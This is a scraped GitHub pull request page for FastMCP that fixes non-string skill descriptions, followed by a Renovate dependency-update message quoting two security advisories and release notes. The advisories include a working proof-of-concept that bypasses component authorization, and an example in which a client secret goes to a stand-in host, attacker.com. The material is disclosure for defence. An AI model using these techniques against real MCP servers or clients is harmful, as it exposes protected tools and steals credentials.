Skip to content

fix: treat non-string skill frontmatter descriptions as absent - #5823

Merged
zzstoatzz merged 1 commit into
PrefectHQ:mainfrom
BlueX888:fix/skills-frontmatter-description-type
Oct 19, 2026
Merged

zzstoatzz merged 1 commit into
PrefectHQ:mainfrom
BlueX888:fix/skills-frontmatter-description-type

Conversation

@BlueX888

Copy link
Copy Markdown
Contributor

Closes #5822

Description

A skill whose SKILL.md frontmatter description is a YAML sequence or mapping silently disappeared from resource listings: parse_frontmatter returns those values as a Python list/dict, SkillProvider._load_skill stored them verbatim, and SkillResource(description=...) then failed pydantic validation, making list_resources/get_resource raise and dropping the skill.

This change keeps the frontmatter description only when it is a str; otherwise it treats it as absent and runs the existing first-meaningful-body-line fallback (then the existing Skill: {name} default). A malformed description no longer removes the skill's main-file and manifest resources from listings.

Contribution type

  • Bug fix (simple, well-scoped fix for a clearly broken behavior)
  • Documentation improvement
  • Enhancement

Bug fix verification

Test path: tests/server/providers/test_skills_provider.py::TestNonStringDescription (5 tests).

Before the fix (current main adf90b6):

FAILED test_yaml_collection_description_falls_back_to_body[sequence]
FAILED test_yaml_collection_description_falls_back_to_body[mapping]
FAILED test_server_lists_skill_with_sequence_description
FAILED test_malformed_yaml_line_fallback_keeps_resources_listable[sequence]
4 failed, 1 passed, 96 deselected
AssertionError: assert ['a', 'b'] == 'Fallback Title'

and the underlying SkillResource validation error:

description: Input should be a valid string [type=string_type, input_value=['a', 'b'], input_type=list]

After the fix: 5 passed, 96 deselected.

Validation

  • uv run --frozen pytest tests/server/providers/test_skills_provider.py -k NonStringDescription -q -> 5 passed
  • uv run --frozen pytest tests/server/providers/test_skills_provider.py tests/server/providers/test_skill_main_files.py tests/server/providers/test_skills_vendor_providers.py tests/utilities/test_skills.py tests/skills -q -> 217 passed
  • uv run --frozen ruff check and ruff format --check on the changed files -> clean

AI assistance

Tool(s) used: Claude Code
How you used it: investigated from a verified reproduction, drafted the fix and regression tests.

Checklist

  • This PR addresses an existing issue (or fixes a self-evident bug)
  • I have read CONTRIBUTING.md
  • I have added tests that cover my changes
  • I have run uv run prek run --all-files and all checks pass
  • I have self-reviewed my changes
  • If I used an LLM, it followed the repo's contributing conventions (not generic output)

SkillProvider stored YAML sequences/mappings from the description key
verbatim in SkillInfo.description, so constructing SkillResource raised a
pydantic ValidationError and the skill's main file and manifest resources
were dropped from list_resources/get_resource. Fall back to the first
meaningful body line when the description is not a string.

Add regression tests for sequence and mapping descriptions on both the
YAML and the malformed-YAML line-based fallback parser paths.
@github-actions

Copy link
Copy Markdown
Contributor

This pull request is awaiting maintainer assignment. Linked PRs stay open while maintainers triage the issue; this check remains failing until assignment.

Per CONTRIBUTING.md, an external PR must reference an issue that's assigned to its author. To get there:

  1. A maintainer will review the issue and decide whether to assign you. Please don't comment just to request assignment.

Once you're assigned and the link is present, this check is re-run automatically. Previously gate-closed PRs also reopen — no further action needed.

Maintainers: reopen this PR or remove the missing-issue-link label to bypass this check.

@chatgpt-codex-connector

chatgpt-codex-connector Bot commented Oct 19, 2026 •

Copy link
Copy Markdown
Contributor

Codex Review Summary

This comment shows the latest Codex review activity on this pull request.

Review Status Commit Review trigger
📝 Code Review ✅ Completed 2026-10-19T03:02:25.446053Z 2d0e0cf PR opened
ℹ️ About Codex in GitHub

Your team has set up Codex to review pull requests in this repo. Reviews are triggered when you

  • Open a pull request for review
  • Mark a draft as ready
  • Comment "@codex review" or "@codex security review".

Codex reacts with 👀 while any review is running, comments if it has suggestions, and reacts with 👍 once all reviews finish with no findings.

@marvin-context-protocol marvin-context-protocol Bot added bug Something isn't working. Reports of errors, unexpected behavior, or broken functionality. server Related to FastMCP server implementation or server-side functionality. labels Oct 19, 2026
@zzstoatzz
zzstoatzz merged commit 53168ef into PrefectHQ:main Oct 19, 2026
26 of 27 checks passed
@BlueX888
BlueX888 deleted the fix/skills-frontmatter-description-type branch October 20, 2026 14:34
luketainton added a commit to luketainton/repos_labmcp that referenced this pull request Oct 24, 2026
This PR contains the following updates:

| Package | Change | [Age](https://docs.renovatebot.com/merge-confidence/) | [Confidence](https://docs.renovatebot.com/merge-confidence/) |
|---|---|---|---|
| [fastmcp](https://github.com/PrefectHQ/fastmcp) | `4.1.0` → `4.1.2` | ![age](https://developer.mend.io/api/mc/badges/age/pypi/fastmcp/4.1.2?slim=true) | ![confidence](https://developer.mend.io/api/mc/badges/confidence/pypi/fastmcp/4.1.0/4.1.2?slim=true) |

---

### FastMCP: Post-transform component authorization is skipped on direct calls
[GHSA-7xgj-8392-5q4r](GHSA-7xgj-8392-5q4r)

<details>
<summary>More information</summary>

#### Details
##### Maintainer assessment and remediation

This report is accepted as a FastMCP authorization vulnerability. In supported configurations, a server transform can change the metadata used by a component's authorization policy. Direct lookups previously checked the original component but returned the transformed component without rechecking its policy. A client that knows the component identifier can invoke a tool or retrieve a resource or prompt that the configured policy denies.

The fixes authorize the final transformed tools, resources, templates, and prompts. A denied concrete resource also shadows a matching resource template at its URI, preventing proxy templates from retrieving the same protected resource upstream. Authorized callers, authorized component versions, and templates for genuinely absent concrete resources remain supported.

Affected stable release lines: FastMCP 3.0.0–3.4.9 and 4.0.0–4.1.1. The missing final authorization check is present in v3.0.0 history and was reproduced on v3.4.9 and v4.1.0. Both `fastmcp` and `fastmcp-slim` installations are affected when using component authorization with transforms or protected concrete resources overlapping proxy templates.

Fixes are available in FastMCP 3.4.10 and 4.1.2. Until upgrading, avoid overlapping proxy templates for protected resources and enforce the required authorization at the handler or server boundary rather than relying on a policy whose inputs are changed by a transform.

##### Original report

##### Post-transform component authorization is skipped on direct calls

##### Summary

FastMCP's direct component paths can return a transformed component before its applicable `AuthCheck`, allowing low-privilege callers to execute hidden protected behavior. I reproduced this against FastMCP 4.1.0 and commit `e2fcc412001ff7414095c5dc282f94c70299a612` using only an in-process FastMCP server. The attacker does not have server-side access and does not control FastMCP configuration.

##### Details

##### Attacker prerequisites

A server uses a supported provider, server, or session transform and a metadata-aware component `AuthCheck`. The attacker has a valid low-privilege identity, lacks the required scope, and knows or guesses the final transformed component name. They do not control the transform or the policy.

##### Root cause

Listing applies transforms and then authorizes the transformed component. In the direct lookup path, FastMCP 4.1.0 applies the transform and returns the component without authorizing that final component. See [`server.py:933-940`](https://github.com/PrefectHQ/fastmcp/blob/v4.1.0/fastmcp_slim/fastmcp/server/server.py#L933-L940). The MCP `tools/call` handler reaches this path; equivalent direct paths exist for resources, templates, and prompts.

##### Proof of concept

Save this as `poc_transform_auth.py`:

```python
import anyio

from fastmcp import FastMCP
from fastmcp.server.auth import restrict_tag
from fastmcp.server.transforms.tool_transform import ToolTransform
from fastmcp.tools.base import Tool
from fastmcp.tools.tool_transform import ToolTransformConfig

async def main() -> None:
    server = FastMCP("auth-boundary")
    server.add_tool(
        Tool.from_function(
            lambda: "PROTECTED SECRET",
            name="tagged_tool",
            tags={"public"},
            auth=restrict_tag("admin", scopes=["admin"]),
        )
    )
    server.add_transform(
        ToolTransform({"tagged_tool": ToolTransformConfig(tags={"admin"})})
    )

    print("listed:", [tool.name for tool in await server.list_tools()])
    try:
        result = await server.call_tool("tagged_tool")
    except Exception as exc:
        print("BLOCKED:", type(exc).__name__)
    else:
        print("VULNERABLE: direct call returned", result.content[0].text)

anyio.run(main)
```

Run it in an isolated environment:

```bash
uv run --with fastmcp==4.1.0 -- python poc_transform_auth.py
```

Observed on 4.1.0 for a caller without the `admin` scope:

```text
listed: []
VULNERABLE: direct call returned PROTECTED SECRET
```

##### Impact

A low-privilege caller can directly execute administrative tools hidden from listing, including their side effects and returned secrets. The same ordering flaw can expose protected resources, templates, or prompts.

##### Recommended remediation

Apply component authorization to the final transformed component in every direct resolution/execution path, after all provider, server, and session transforms. Reuse one ordered resolver for list and direct operations so lookup never returns a transformed component before its applicable `AuthCheck` runs.

##### AI assistance

Yes — OpenAI Codex assisted static analysis/PoC/writeup; reproduction was validated against stated version.

#### Severity
- CVSS Score: 6.8 / 10 (Medium)
- Vector String: `CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:N`

#### References
- [https://github.com/PrefectHQ/fastmcp/security/advisories/GHSA-7xgj-8392-5q4r](https://github.com/PrefectHQ/fastmcp/security/advisories/GHSA-7xgj-8392-5q4r)
- [https://github.com/PrefectHQ/fastmcp/pull/5933](https://github.com/PrefectHQ/fastmcp/pull/5933)
- [https://github.com/PrefectHQ/fastmcp/pull/5934](https://github.com/PrefectHQ/fastmcp/pull/5934)
- [https://github.com/PrefectHQ/fastmcp/commit/85df42fbf2aa631cc81e0f986718b314128e91df](https://github.com/PrefectHQ/fastmcp/commit/85df42fbf2aa631cc81e0f986718b314128e91df)
- [https://github.com/PrefectHQ/fastmcp/commit/8649ba5fc91a68568a69729497edeb804a064332](https://github.com/PrefectHQ/fastmcp/commit/8649ba5fc91a68568a69729497edeb804a064332)
- [https://github.com/PrefectHQ/fastmcp](https://github.com/PrefectHQ/fastmcp)
- [https://github.com/PrefectHQ/fastmcp/releases/tag/v3.4.10](https://github.com/PrefectHQ/fastmcp/releases/tag/v3.4.10)
- [https://github.com/PrefectHQ/fastmcp/releases/tag/v4.1.2](https://github.com/PrefectHQ/fastmcp/releases/tag/v4.1.2)

This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-7xgj-8392-5q4r) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)).
</details>

---

### FastMCP MCP client wrappers construct M2M OAuth providers without issuer binding — client secret redirectable to attacker-advertised authorization server
[GHSA-vqqp-x5qm-5qp4](GHSA-vqqp-x5qm-5qp4)

<details>
<summary>More information</summary>

#### Details
##### Maintainer assessment and remediation

This report is accepted as a FastMCP credential-binding vulnerability. Affected versions of the OAuth client credentials providers do not expose the authorization-server issuer that owns pre-registered credentials. An untrusted or compromised MCP server can therefore advertise a different authorization server and receive the client secret or a signed assertion. Signing keys themselves remain local; assertion replayability depends on the assertion source and audience policy.

Affected stable versions are 4.0.0–4.1.1 of `fastmcp` and `fastmcp-slim`. The wrappers were introduced in 4.0.0a1; 3.x does not include them.

The 4.1.2 fix adds `issuer` to `ClientCredentialsOAuthProvider` and `PrivateKeyJWTOAuthProvider` and requires MCP SDK 2.2.0. It also discards refresh credentials from reloaded tokens: without persisted authorization-server metadata, inherited refresh could otherwise transmit credentials before issuer discovery, including when a cached token was valid at startup and expired later. Cached tokens are isolated by configured issuer, so configuring or changing the issuer acquires a new token. Valid cached access tokens for the same issuer and their expiry remain intact.

**Configuration required for protection:** configure `issuer` with the issuer identifier of the authorization server that issued the credentials. Upgrading alone is insufficient: omission remains supported for compatibility and emits `MCPDeprecationWarning`. Rotate client secrets or other reusable credentials that may already have been sent to an untrusted endpoint. The fix is available in FastMCP 4.1.2.

```python
from fastmcp.client.auth import ClientCredentialsOAuthProvider

auth = ClientCredentialsOAuthProvider(
    client_id="my-client-id",
    client_secret="my-client-secret",
    issuer="https://auth.example.com",
)
```

##### Original report

##### Summary

fastmcp's ClientCredentialsOAuthProvider and PrivateKeyJWTOAuthProvider do not expose or validate OAuth issuer binding when connecting to MCP servers. A client secret configured for a legitimate authorization server can be transmitted to an attacker-controlled authorization server if the MCP server URL is attacker-supplied or compromised. This is the same vulnerability class as GHSA-qx49-fqc8-xw99 (Python MCP SDK) and GHSA-6qxp-vccf-f47h (TypeScript MCP SDK), applied to fastmcp's wrapper layer.

##### Details

When fastmcp connects to an MCP server with OAuth client credentials:

1. Client constructs provider: ClientCredentialsOAuthProvider(client_id=..., client_secret=...)
2. Provider binds to server URL and discovers OAuth metadata
3. Client exchanges credentials at the token endpoint
4. WITHOUT issuer binding: client accepts ANY authorization server the MCP server advertises
5. Attack: attacker-controlled MCP server advertises attacker's authorization server
6. Result: client secret leaked to attacker

Affected code:
- fastmcp/client/auth/client_credentials.py:180-218 (ClientCredentialsOAuthProvider)
  * __init__ signature has no issuer= parameter
  * _bind() calls super().__init__(server_url=mcp_url, ...) without issuer=

- fastmcp/client/auth/client_credentials.py:280-340 (PrivateKeyJWTOAuthProvider)
  * __init__ signature has no issuer= parameter
  * _bind() calls super().__init__(server_url=mcp_url, ...) without issuer=

The underlying MCP SDK (mcp.client.auth.extensions.client_credentials) supports issuer= parameter, but fastmcp's wrappers neither accept nor forward it.

Example vulnerable usage:
```python
auth = ClientCredentialsOAuthProvider(
    client_id="my-client-id",
    client_secret="my-client-secret",
)
async with Client("https://attacker.com/mcp", auth=auth) as client:
    # Client credentials get sent to attacker's auth server if attacker's MCP
    # server advertises it in RFC 9728 metadata
    await client.list_tools()
```

##### Proof of concept

1. Run an attacker-controlled MCP server at https://attacker.com/mcp that advertises
   OAuth metadata pointing to https://attacker.com/oauth/token

2. Client code:
   from fastmcp import Client
   from fastmcp.client.auth import ClientCredentialsOAuthProvider

   auth = ClientCredentialsOAuthProvider(
       client_id="legitimate-client-id",
       client_secret="legitimate-client-secret"
   )
   async with Client("https://attacker.com/mcp", auth=auth) as client:
       await client.list_tools()

3. Client exchanges credentials at https://attacker.com/oauth/token (attacker-controlled)

4. Attacker receives client_id and client_secret in Basic auth header

5. Attacker can now impersonate the client against the legitimate authorization server

The vulnerability exists because fastmcp does not validate that the authorization
server advertised by the MCP server matches an expected issuer.

##### Impact

Severity: Medium-High

Any application using fastmcp's M2M OAuth providers (ClientCredentialsOAuthProvider,
PrivateKeyJWTOAuthProvider) to connect to user-supplied or untrusted MCP server URLs
is vulnerable to credential disclosure and client impersonation.

Affected parties:
- Prefect Cloud users running agents with fastmcp that connect to user-provided MCP servers
- Any deployment using fastmcp's M2M auth to connect to MCP servers where the URL is
  attacker-controllable or the server is compromised

Attack scenarios:
- User misconfigures MCP server URL in Prefect agent config
- MCP server URL obtained from user input without validation
- Legitimate MCP server is compromised/redirected
- MCP service provider (if SaaS) is compromised

#### Severity
- CVSS Score: 5.9 / 10 (Medium)
- Vector String: `CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N`

#### References
- [https://github.com/PrefectHQ/fastmcp/security/advisories/GHSA-vqqp-x5qm-5qp4](https://github.com/PrefectHQ/fastmcp/security/advisories/GHSA-vqqp-x5qm-5qp4)
- [https://github.com/PrefectHQ/fastmcp/pull/5933](https://github.com/PrefectHQ/fastmcp/pull/5933)
- [https://github.com/PrefectHQ/fastmcp/commit/85df42fbf2aa631cc81e0f986718b314128e91df](https://github.com/PrefectHQ/fastmcp/commit/85df42fbf2aa631cc81e0f986718b314128e91df)
- [https://github.com/PrefectHQ/fastmcp](https://github.com/PrefectHQ/fastmcp)
- [https://github.com/PrefectHQ/fastmcp/releases/tag/v4.1.2](https://github.com/PrefectHQ/fastmcp/releases/tag/v4.1.2)

This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-vqqp-x5qm-5qp4) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)).
</details>

---

### Release Notes

<details>
<summary>PrefectHQ/fastmcp (fastmcp)</summary>

### [`v4.1.2`](https://github.com/PrefectHQ/fastmcp/releases/tag/v4.1.2): : License to Deny

[Compare Source](PrefectHQ/fastmcp@v4.1.1...v4.1.2)

Component authorization now applies after transforms, denied resources cannot fall through matching templates, and OAuth client credentials providers support issuer binding across fresh and cached-token flows. Existing configurations remain compatible, but users of `ClientCredentialsOAuthProvider` or `PrivateKeyJWTOAuthProvider` must set `issuer` to enable this protection; upgrading alone is insufficient. Thanks to our 18 contributors, including 9 first-time contributors.

<!-- Release notes generated using configuration in .github/release.yml at main -->

#### What's Changed

##### Security 🔒

- Authorize transformed components and prevent denied-resource template fallback by [@&#8203;zzstoatzz](https://github.com/zzstoatzz) and [@&#8203;rishid](https://github.com/rishid) in [#&#8203;5933](PrefectHQ/fastmcp#5933)
- Bind OAuth client credentials to a configured issuer, including cached-token renewal, by [@&#8203;zzstoatzz](https://github.com/zzstoatzz) and [@&#8203;LHMisme420](https://github.com/LHMisme420) in [#&#8203;5933](PrefectHQ/fastmcp#5933)

##### Enhancements ✨

- Add SEP-2640 Skills extension foundation by [@&#8203;strawgate](https://github.com/strawgate) in [#&#8203;5057](PrefectHQ/fastmcp#5057)
- Write down triage and merge norms in docs/development by [@&#8203;zzstoatzz](https://github.com/zzstoatzz) in [#&#8203;5872](PrefectHQ/fastmcp#5872)
- Add experimental Skills discovery to SkillsDirectoryProvider by [@&#8203;zzstoatzz](https://github.com/zzstoatzz) in [#&#8203;5704](PrefectHQ/fastmcp#5704)

##### Fixes 🐞

- Do not require websockets for the OAuth callback server by [@&#8203;asasemahmed](https://github.com/asasemahmed) in [#&#8203;5693](PrefectHQ/fastmcp#5693)
- Keep fastmcp.json resolvable when deployment.cwd changes the working directory by [@&#8203;asasemahmed](https://github.com/asasemahmed) in [#&#8203;5700](PrefectHQ/fastmcp#5700)
- Fix ctx.log() failing when extra contains LogRecord attribute names by [@&#8203;asasemahmed](https://github.com/asasemahmed) in [#&#8203;5688](PrefectHQ/fastmcp#5688)
- Use a monotonic clock in the rate limiters by [@&#8203;asasemahmed](https://github.com/asasemahmed) in [#&#8203;5689](PrefectHQ/fastmcp#5689)
- Escape server metadata in the fastmcp inspect text summary by [@&#8203;asasemahmed](https://github.com/asasemahmed) in [#&#8203;5701](PrefectHQ/fastmcp#5701)
- Respect an explicit is_binary=False on FileResource by [@&#8203;asasemahmed](https://github.com/asasemahmed) in [#&#8203;5696](PrefectHQ/fastmcp#5696)
- Follow pagination in the MCP format of fastmcp inspect by [@&#8203;asasemahmed](https://github.com/asasemahmed) in [#&#8203;5691](PrefectHQ/fastmcp#5691)
- Visit each reference once when finding access-restricted properties by [@&#8203;AarnavNoble](https://github.com/AarnavNoble) in [#&#8203;5751](PrefectHQ/fastmcp#5751)
- Run sync resource templates in the threadpool by [@&#8203;hardness1020](https://github.com/hardness1020) in [#&#8203;5742](PrefectHQ/fastmcp#5742)
- Require openapi-pydantic 0.6.0 so OpenAPI 3.1.2 specs load by [@&#8203;jsphbtst](https://github.com/jsphbtst) in [#&#8203;5647](PrefectHQ/fastmcp#5647)
- Scope FileUpload and session visibility to a stable client on MCP 2026-07-28 by [@&#8203;zzstoatzz](https://github.com/zzstoatzz) in [#&#8203;5651](PrefectHQ/fastmcp#5651)
- fix(auth): accept private_key_jwt without form client_id by [@&#8203;HootRock](https://github.com/HootRock) and [@&#8203;imranq2](https://github.com/imranq2) in [#&#8203;5832](PrefectHQ/fastmcp#5832)
- fix(cli): honor explicit URL transport by [@&#8203;mikamikasuki](https://github.com/mikamikasuki) in [#&#8203;5529](PrefectHQ/fastmcp#5529)
- Remove legacy logging state when HTTP sessions close by [@&#8203;mikamikasuki](https://github.com/mikamikasuki) in [#&#8203;5539](PrefectHQ/fastmcp#5539)
- Name data-backed File resources consistently with their MIME subtype by [@&#8203;nandanadileep](https://github.com/nandanadileep) in [#&#8203;5568](PrefectHQ/fastmcp#5568)
- fix(client): run Python stdio children in UTF-8 mode by [@&#8203;ningmao-hlyz](https://github.com/ningmao-hlyz) in [#&#8203;5642](PrefectHQ/fastmcp#5642)
- Report an unbindable OAuth callback port instead of SystemExit by [@&#8203;asasemahmed](https://github.com/asasemahmed) in [#&#8203;5692](PrefectHQ/fastmcp#5692)
- Accept ES256 and other RSA/EC algorithms for CIMD private_key_jwt assertions by [@&#8203;asasemahmed](https://github.com/asasemahmed) in [#&#8203;5695](PrefectHQ/fastmcp#5695)
- Preserve icons on transformed tools by [@&#8203;asasemahmed](https://github.com/asasemahmed) in [#&#8203;5702](PrefectHQ/fastmcp#5702)
- Hydrate valid schema defaults while preserving invalid defaults by [@&#8203;nandanadileep](https://github.com/nandanadileep) in [#&#8203;5738](PrefectHQ/fastmcp#5738)
- fix(resources): preserve public metadata in built-in read contents by [@&#8203;HootRock](https://github.com/HootRock) in [#&#8203;5778](PrefectHQ/fastmcp#5778)
- Preserve shared dependency scopes without optional task dependencies by [@&#8203;HootRock](https://github.com/HootRock) and [@&#8203;BlueX888](https://github.com/BlueX888) in [#&#8203;5817](PrefectHQ/fastmcp#5817)
- fix: treat non-string skill frontmatter descriptions as absent by [@&#8203;BlueX888](https://github.com/BlueX888) in [#&#8203;5823](PrefectHQ/fastmcp#5823)
- fix(resources): preserve component meta for list\[ResourceContent] returns by [@&#8203;BlueX888](https://github.com/BlueX888) in [#&#8203;5843](PrefectHQ/fastmcp#5843)
- Fall back to the client timeout when resolving claimed results by [@&#8203;marcinbelczewski](https://github.com/marcinbelczewski) in [#&#8203;5190](PrefectHQ/fastmcp#5190)
- Discover Goose Streamable HTTP extensions by [@&#8203;jiuyueQ](https://github.com/jiuyueQ) and [@&#8203;ch-z-hc](https://github.com/ch-z-hc) in [#&#8203;5582](PrefectHQ/fastmcp#5582)
- Raise ToolError when a tool with an output schema returns an unserializable value by [@&#8203;massimiliano1991](https://github.com/massimiliano1991) in [#&#8203;5063](PrefectHQ/fastmcp#5063)
- Stop deploy tests from spawning PowerShell on every state access by [@&#8203;zzstoatzz](https://github.com/zzstoatzz) in [#&#8203;5874](PrefectHQ/fastmcp#5874)
- Give the timeout-override test headroom for the follow-up tools/list by [@&#8203;zzstoatzz](https://github.com/zzstoatzz) in [#&#8203;5875](PrefectHQ/fastmcp#5875)
- Keep disabled resources from being served by matching templates by [@&#8203;zzstoatzz](https://github.com/zzstoatzz) in [#&#8203;5876](PrefectHQ/fastmcp#5876)

##### Docs 📚

- Fix codespell typo in v4.1.1 changelog by [@&#8203;zzstoatzz](https://github.com/zzstoatzz) in [#&#8203;5818](PrefectHQ/fastmcp#5818)
- context: stop documenting session_id as a cross-request key by [@&#8203;zzstoatzz](https://github.com/zzstoatzz) in [#&#8203;5862](PrefectHQ/fastmcp#5862)

##### Examples & Contrib 💡

- fix(contrib): preserve BulkToolCaller tool prefixes by [@&#8203;mikamikasuki](https://github.com/mikamikasuki) in [#&#8203;5555](PrefectHQ/fastmcp#5555)

##### Other Changes 🦾

- chore(deps): Update github actions by [@&#8203;prefect-renovate](https://github.com/prefect-renovate)\[bot] in [#&#8203;5707](PrefectHQ/fastmcp#5707)

#### New Contributors

- [@&#8203;AarnavNoble](https://github.com/AarnavNoble) made their first contribution in [#&#8203;5751](PrefectHQ/fastmcp#5751)

- [@&#8203;hardness1020](https://github.com/hardness1020) made their first contribution in [#&#8203;5742](PrefectHQ/fastmcp#5742)

- [@&#8203;jsphbtst](https://github.com/jsphbtst) made their first contribution in [#&#8203;5647](PrefectHQ/fastmcp#5647)

- [@&#8203;marcinbelczewski](https://github.com/marcinbelczewski) made their first contribution in [#&#8203;5190](PrefectHQ/fastmcp#5190)

- [@&#8203;jiuyueQ](https://github.com/jiuyueQ) made their first contribution in [#&#8203;5582](PrefectHQ/fastmcp#5582)

- [@&#8203;massimiliano1991](https://github.com/massimiliano1991) made their first contribution in [#&#8203;5063](PrefectHQ/fastmcp#5063)

- [@&#8203;imranq2](https://github.com/imranq2) made their first contribution in [#&#8203;5832](PrefectHQ/fastmcp#5832)

- [@&#8203;rishid](https://github.com/rishid) made their first contribution in [#&#8203;5933](PrefectHQ/fastmcp#5933)

- [@&#8203;LHMisme420](https://github.com/LHMisme420) made their first contribution in [#&#8203;5933](PrefectHQ/fastmcp#5933)

**Full Changelog**: <PrefectHQ/fastmcp@v4.1.1...v4.1.2>

### [`v4.1.1`](https://github.com/PrefectHQ/fastmcp/releases/tag/v4.1.1): : Regex Marks the Spot

[Compare Source](PrefectHQ/fastmcp@v4.1.0...v4.1.1)

Regex tool search now rejects patterns over 1,000 characters and stops after about a second, and `SkillsDirectoryProvider` discovers skill folders that are links again, including links to folders outside the skills root; a skill's own files must still resolve inside the folder it links to. All 4.x users are encouraged to upgrade. Thanks to our 4 contributors, including 1 first-time contributor.

<!-- Release notes generated using configuration in .github/release.yml at main -->

#### What's Changed

##### Security 🔒

